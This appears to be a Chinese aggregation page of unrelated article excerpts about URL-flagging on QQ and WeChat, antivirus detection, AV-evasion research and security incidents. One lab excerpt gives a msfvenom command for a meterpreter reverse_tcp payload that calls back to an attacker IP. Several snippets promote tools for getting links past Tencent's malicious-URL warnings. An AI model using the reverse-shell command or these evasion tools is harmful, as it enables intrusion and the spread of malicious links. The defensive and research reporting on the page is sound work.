网站备案是域名+主机的一体化过程，而域名是网站备案的载体。一般网站备案的展现形式是在域名上的。所以域名对网站备案是很重要的哦！
今天给大家分享一个腾讯检测域名是否报毒的接口（采用GET方式）: whitetype为1，则网址未知（包括腾讯云绿标） whitetype为2，则网址报毒 whitetype为3，则网址安
腾讯QQ域名防报毒工具源码 v1.4版 1.接口被滥用举报和谐，已更换新街口 2.将网址进行base64位加密 3.好像忘记还有什么了！！！ v1.3版 1.接口本地化 2.增加多接口短网址 3.增加二维码 本程序只有一个PHP文件 程序简介 本程序通过简单的短网址绕过方法实现域名不报毒的情况下在腾讯应用上浏览 腾讯QQ,微信,QQ浏览器等等 1.本程序静态文件采用HTTPS 百度 新浪 CDN 2.本程序完美支持HTTPS 3.修改index.php 基本信息
注意下域名的到期时间，如果打算续费就可以买，如果想省续费钱，建议购买半年以上期限的域名，当然，这个是毛毛雨拉，不用很在意。
今天有个网友联系到，说能不能做一个域名拦截实时短信报警的功能，当他问这个问题的时候我就已经想好了思路，只需要在原来《腾讯检测域名报毒的API接口》的基础上增加一个拦截域名返回301状态码的代码即可
感觉做防洪的应该很需要这个功能吧(虽然说我不知道防洪有没有这个功能)，毕竟防洪防洪，红了的话还怎么防
如果提示相关报毒之类的，无视即可。加密的正常现象,纯属误报。如信不过可虚拟机使用
安全软件的报毒想必大家都见过，点击清除病毒后，也会有点担心和疑问：我中了什么毒，这毒有啥危害？想看一眼报毒界面吧，又是一脸茫然。今天，带工程狮于老师就领大家认识一下火绒的报毒规则，增加一些实（shen）用（qi）的知识。
这不是废话吗，在我们正式开始自己的探索之前，先让我们相信一下，“医生”的判断。 总所周知，杀毒软件存在着误报，漏报等多种不可靠情况。接下来，我要告诉你的是如何通过正确姿势，尽可能的避免之前所说的问题。
QQ域名防报毒工具V1.3 1.接口本地化 2.增加多接口短网址 3.增加二维码 本程序只有一个PHP文件 静态文件采用百度 新浪图床 速度你懂的 支持HTTPS 上传文件后修改index.php 基本信息 本源码无接口版。 本程序 AE博客首发，转载请注明出处，谢谢！ 工具使用地址：http://tools.yum6.cn 防红工具
使用此源码可以生成QQ自动跳转到浏览器的短链接，无视QQ报毒，任意网址均可生成。 新版特色： 全新界面，网站背景图采用Bing随机壁纸 支持生成多种短链接 兼容电脑和手机页面 生成网址记录功能，域名黑名单功能 网站后台可管理数据 安装说明： 由于此版本增加了记录和黑名单功能，所以用到了数据库。安装方法为修改config.php里面的数据库信息，导入install.sql到数据库。 QQ防红短网址生成
之前制作了VT查杀1的免杀马，于是我自夸了一句过VT和微步，但是群里面有小伙伴说：
最近，开始使用一些老域名来搭建网站，去做关键词的排名，之前就没有过多去关注过老域名的价值。
看到很多小伙伴弄了安全网址检测的api或者功能，我也想弄一个，可是遇到了一个问题：
近日，有用户反馈下载腾讯旗下软件“企鹅FM无障碍（PC版）”时被火绒报毒，火绒工程师紧急查看后发现，该软件确实携带恶意代码，并非火绒误报，我们也紧急联系腾讯官方告知此事，并提供相关分析供排查威胁，火绒后续也会发布针对该病毒的详细分析。此外，我们建议广大用户暂时不要下载或使用该软件，等待官方公布解决方案，避免遭遇信息泄漏等安全风险。
vs前缀代表默认编译器，intel前缀代表intel c++编译；test代表简单木马，test1代表更复杂木马；invalid代表无效签名，signed代表sigthief签名窃取，signeds有效签名。
（1）火绒每次升级仅需要约几百KB流量，几乎不占用网速。可使用火绒的“流量监控”工具实时查看占用网速的程序、软件。
每一家安全公司的检测和匹配方式都不相同，常见的有传统的特征码匹配、静态动态启发等技术，关于火绒的反病毒引擎更详细的内容可以参考以下文档：
答：项目本身支持站内站外跳转，添加新的工具箱，你只需要在网站根目录创建一个文件夹，在文件夹内部就是你的工具箱，只需要在头部插入
接收到了上级发来的通知，说内网有服务器中了CS木马，经过排查是在2022年中的CS木马，红队通过钓鱼方式获取到了集团的用户主机权限，通过计划任务开机自启动方式，将Windows白名单程序加载恶意DLL文件实现权限维持与免杀天擎。
*本文原创作者：flagellantX，本文属FreeBuf原创奖励计划，未经许可禁止转载
最开始的时候它叫Crayfish(小龙虾)，因为可爱的同事给我做了一顿美味的小龙虾，感谢可爱的@sr，祝你们一直幸福。后来因为感觉Crayfish(小龙虾)不够简洁。所以改名为Zing(《精灵旅社3:疯狂假期》中的台词，喻为“真爱”)。
事情是这样的，一朋友发来源码让我看下，手残不小心点到里头的一个exe文件，弹出联网请求，我便迅速关掉，之后发现同目录多了一个伪装成系统音乐文件夹的exe可执行文件。我就感觉到事情不妙了，但是又不能确定，随后删除这整个文件夹时提示有程序正在使用。
起因，是我想测试一下，powersploit的免杀效果，然后就去github下载了powersploit的脚本集合包，powerview脚本也给集合进去了，然后就引发了一些列感到令人疑惑的事。
访问站点只要后面目录带apk（不管是文件还是目录），就会判断请求头，如果为手机移动端的请求头,就会跳转到博彩网站，如果是电脑PC浏览器，就会弹空白页访问站点，让你看不到跳转后的网址，只要域名后面地址带apk（不管是文件还是目录），就会判断请求头，如果为手机移动端的请求头,就会跳转bc网站，如果是电脑浏览器，就会弹空白页，最近也加上客户订单越来越少，领导也是着急，很大一部分客户渠道来源都从百度点击来的，静下心来看看网站到底是怎么回事，不看不要紧，简直吓我一跳。网站在百度里的收录增加许多，本来以为是更新的文章导致的，可是仔细一想也没那么多的收录呀，site:网站，点击到十页以后竟然发现了问题的关键，百度收录了一大堆我们网站没有的URL链接，复制那个我们域名的链接，提示不存在，从百度收录点进去跳转到BC网站。
编译生成Project1.exe，将其传入装有360和火绒的Windows靶机进行免杀测试。
五一假期如约而至，在此致敬还在一线抗疫的医务人员和志愿者，祝大家五一快乐，愿疫情早日退散！ ???? 既然是节日，就gei大家送点礼物吧～ ???? XG域名防红系统，也算是广告发的比较多的一个域
在获取了对方主机CobaltStrike Beacon后，需要执行一些敏感的操作(如创建用户等)。但是目标主机有AV，执行敏感命令会直接报毒等，这时我们可以使用Cobaltstrike自带的argue参数污染来执行敏感操作。
锦鲤安全的技术文章仅供参考，此文所提供的信息仅供网络安全人员学习和参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。如有侵权烦请告知，我们会立即删除并致歉。本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！谢谢！
1、远控免杀专题文章(1)-基础篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg
在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后，我开始学习和研究市面上知名度比较高的免杀工具，从互联网上找到了大约 30 多个免杀工具，从中筛选出来了 21 个工具进行免杀测试和学习，耗时一个多月时间。
公共互联网网络安全突发事件应急预案 1. 总则 1.1编制目的 1.2编制依据 1.3适用范围 1.4工作原则 2. 组织体系 2.1领导机构与职责 2.2办事机构与职责 2.3其他相关单位职责 3. 事件分级 3.1特别重大事件 3.2重大事件 3.3较大事件 3.4一般事件 4. 监测预警 4.1事件监测 4.2预警监测 4.3预警分级 4.4预警发布 4.5预警响应
他们的区别为，exec可以做到一次执行多条语句，而eval只能执行一条语句，同时eval无法做到赋值的操作 这里用eval演示一下 先简单的base64一下
上网查了好多解决方案，比如改浏览器设置、删注册表等，都不行。有些软件即使被卸载，计算机重启后，浏览器主页还是被改掉。用任何安全工具都无法修复，杀了毒、清空了DNS缓存，都无济于事。为什么网络劫持很难自己去解决呢……
什么是毒汤日历？毒汤日历是一本有毒的日历，每天用毒鸡汤来唤醒你。 你甚至不用打开日历，打开 App 的推送，每天会定时送上一杯毒鸡汤。 自己也能制作毒鸡汤？那太好了，毒性够强，如果让别人扎到心你就厉害了。 每条毒汤可以点扎心、发毒评，或者转发给别人，让别人也扎扎心。
自己的网站总会在QQ上报毒啊。 尤其是M赞 D挂 H 福利这种东西，让站长很难过 今天 终于把 防报毒工具做好了 谢谢 彩虹 提供的检测QQ微信UA代码 谢谢 862860000 的JS技术支持 需求太火爆，微信接口挂掉了 现在修复成 新浪接口，请大家放心使用！！！！ 后续会增加多接口短网址 使用方法很简单 在输入框输入网址 生成即可，采用AJAX无刷新提交。 工具由ae博客维护、更新及接口提交！ 工具地址：http://url.url8.ml/
尝试对Mimikatz进行免杀，提取Mimikatz的shellcode，然后使用免杀的加载器进行加载，用加载器在加载cs shellcode时免杀效果挺好，但在加载Mimikatz的shellcode发现直接被360、defender等静态查杀了，VT上报毒也很高，于是尝试找出问题并进行免杀。
NewFileTime是一个小而有效的工具，为您提供便捷的“更正”和“操纵”任何文件和文件夹的时间戳【TimeStamps】Windows操作系统时间修改工具。several，可以在同一时间内批量地修改多个文件和/或文件夹，通过简单的拖放或由“浏览”指定目标地址. 在任何情况下，它会使用不同的方式打开，使你能尽快这样做。您可以使档案的按比例修改 更早时间或较晚时间，或有针对性的设定具体时间。
大家好，又见面了，我是你们的朋友全栈君。 微信公众号：乌鸦安全 扫取二维码获取更多信息！ 1. 环境 攻击机： kali linux 10.211.55.23 受害机： Windows10 360主动防御 Windows7 火绒主动防御 2. 生成exe文件 在kali linux下使用msfvenom生成一个64位的exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23 lport=4444 -f ex
b)360杀毒安装包。有老版本的尽量使用老版本的安装包。应为新版本的即使你关了上传还是会上传。
iodine是基于C语言开发的，分为服务端和客户端。iodine支持转发模式和中继模式。其原理是：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡。
社会工程学是黑客米特尼克悔改后在《欺骗的艺术》中所提出的，是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段。
近年来，随着大数据、人工智能、物联网等新技术的应用不断深入，医疗卫生服务获得了新技术的支持，医疗服务水平显著提高，随之而来的是网络安全问题日益突出，医疗卫生机构和企业面临着前所未有的新威胁。
近日有卡饭网友向火绒提出12个问题，从产品性能到核心技术。这些问题非常棒，无论提问者是网友还是友商，火绒团队都非常愿意一起探讨。我们尝试一一作答如下。
11月12日，据火绒安全实验室官网公告，近期发现中国联通官方网站的业务办理页面携带木马脚本，用于向用户推广色情APP和游戏，检测发现这些域名服务器均托管在境外。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
